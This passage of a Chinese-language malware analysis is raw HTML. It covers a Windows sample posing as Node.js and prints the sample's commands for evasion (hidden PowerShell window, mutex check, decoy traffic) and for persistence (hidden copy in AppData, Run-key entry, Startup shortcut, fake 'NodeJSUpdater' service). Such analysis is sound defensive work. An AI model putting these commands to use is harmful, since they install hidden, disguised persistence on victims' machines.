normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">循环请求如下几个网站，干扰流量分析。</span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">google.com</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">microsoft.com</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">cloudflare.com</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">amazon.com</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">facebook.com</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">httpbin.org</span></span></code></pre><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 15px;">（3）隐藏终端窗口</span></span></p><p style="text-align: left;"><span leaf="">调用如下 powershell 指令cmd /C powershell -WindowStyle Hidden -Command exit创建一个隐藏的终端窗口。</span></p><p style="text-align: left;"><span leaf="" style="background-color: rgb(255, 255, 255);color: rgb(21, 23, 26);font-size: 15px;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;font-style: normal;font-weight: 400;">（4）互斥体检测</span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">通过检查互斥体来判断是否已有同名实例在运行，对字符串</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">nodejs_instance_mutex</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">计算 sha256 之后拼接</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">Global\\%x</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">得到互斥体名称，随后执行下述指令进行检测</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">cmd /C powershell -Command \&#34;$mutex = New-Object System.Threading.Mutex($false, &#39;%s&#39;); if($mutex.WaitOne(0)) { exit 0 } else { exit 1 }</span></code></span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 17px;font-weight: bold;">2. 持久化</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 15px;">（1）隐藏文件</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 15px;">把自身文件拷贝到%APPData目录下并改名为 nodejs.exe，执行attrib +h +s给文件添加隐藏属性和系统属性，使得文件不可见。</span></span></p><p style="text-align: left;"><span leaf="" style="background-color: rgb(255, 255, 255);color: rgb(21, 23, 26);font-size: 15px;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;font-style: normal;font-weight: 400;">（2）注册表自启动</span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">执行</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v nodejs /t REG_SZ /d \&#34;%s\&#34; /f</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">将 nodejs.exe 添加注册表自启动。</span></span></span></span></p><p style="text-align: left;"><span leaf="" style="background-color: rgb(255, 255, 255);color: rgb(21, 23, 26);font-size: 15px;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;font-style: normal;font-weight: 400;">（3）自动启目录</span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">在启动目录 Startup 下创建 .ps1 文件</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">create_shortcut.ps1</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">，使用 powershell 执行该脚本创建一个 lnk 文件</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">System Update.lnk</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">到</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">\\Microsoft\\Windows\\Start Menu\\Programs\\Startup</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">目录，文件路径指向 nodejs.exe。</span></span></span></span></p><pre style="box-sizing: inherit;border: 0px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1.4rem;margin: max(3.2vmin, 24px) 0px 0px;padding: 16px 20px;vertical-align: baseline;grid-column: main-start / main-end;background: none 0% 0% / auto repeat scroll padding-box border-box rgb(21, 23, 26);border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 6px -2px, rgba(0, 0, 0, 0.4) 0px 0px 1px;color: rgb(229, 239, 245);overflow: auto;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;" data-pm-slice="0 0 []"><code style="box-sizing: inherit;border: 0px;font-style: inherit;font-variant: inherit;font-weight: inherit;font-stretch: inherit;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 1em;margin: 0px;padding: 0px;vertical-align: baseline;"><span leaf=""><span textstyle="" style="font-size: 12px;">$WshShell = New-Object -comObject WScript.Shell</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">$Shortcut = $WshShell.CreateShortcut(&#39;%s&#39;)</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">$Shortcut.TargetPath = &#39;%s&#39;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">$Shortcut.WorkingDirectory = &#39;%s&#39;</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">$Shortcut.WindowStyle = 7</span></span><span leaf=""><br/></span><span leaf=""><span textstyle="" style="font-size: 12px;">$Shortcut.Save()</span></span></code></pre><p style="text-align: left;"><span leaf="" style="background-color: rgb(255, 255, 255);color: rgb(21, 23, 26);font-size: 15px;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;font-style: normal;font-weight: 400;">（4）计划任务</span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;" data-pm-slice="0 0 []"><span leaf="">通过执行</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">sc create &#34;NodeJSUpdater&#34; binPath= &#34;%s&#34; start= auto DisplayName= &#34;Node.js Background Updater&#34; type= own</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">以及</span></span><code style="box-sizing: inherit;border: 1px solid rgb(225, 234, 239);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-variant-numeric: inherit;font-variant-east-asian: inherit;font-variant-alternates: inherit;font-variant-position: inherit;font-variant-emoji: inherit;font-weight: 400;font-stretch: inherit;line-height: 1em;font-family: monospace, monospace;font-optical-sizing: inherit;font-size-adjust: inherit;font-kerning: inherit;font-feature-settings: inherit;font-variation-settings: inherit;font-size: 0.9em;margin: 0px;padding: 0.15em 0.4em;vertical-align: middle;background: rgb(240, 246, 249);border-radius: 0.25em;color: rgb(21, 23, 26);letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">sc start &#34;NodeJSUpdater&#34;</span></code><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span leaf="">创建计划任务实现定期执行。</span></span></span></span></p><p style="text-align: left;"><span leaf="" style="background-color: rgb(255, 255, 255);color: rgb(21, 23, 26);font-size: 15px;font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;letter-spacing: normal;font-style: normal;font-weight: 400;"><span textstyle="" style="font-size: 17px;font-weight: bold;">3. 网络通信</span></span></p><p style="text-align: left;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;float: none;display: inline !important;"><span style="color: rgb(21, 23, 26);font-family: -apple-system, &#34;system-ui&#34;, &#34;Segoe UI&#34;, Roboto, Oxygen, Ubuntu, Cantarell, &#34;Fira Sans&#34;, &#34;Droid Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 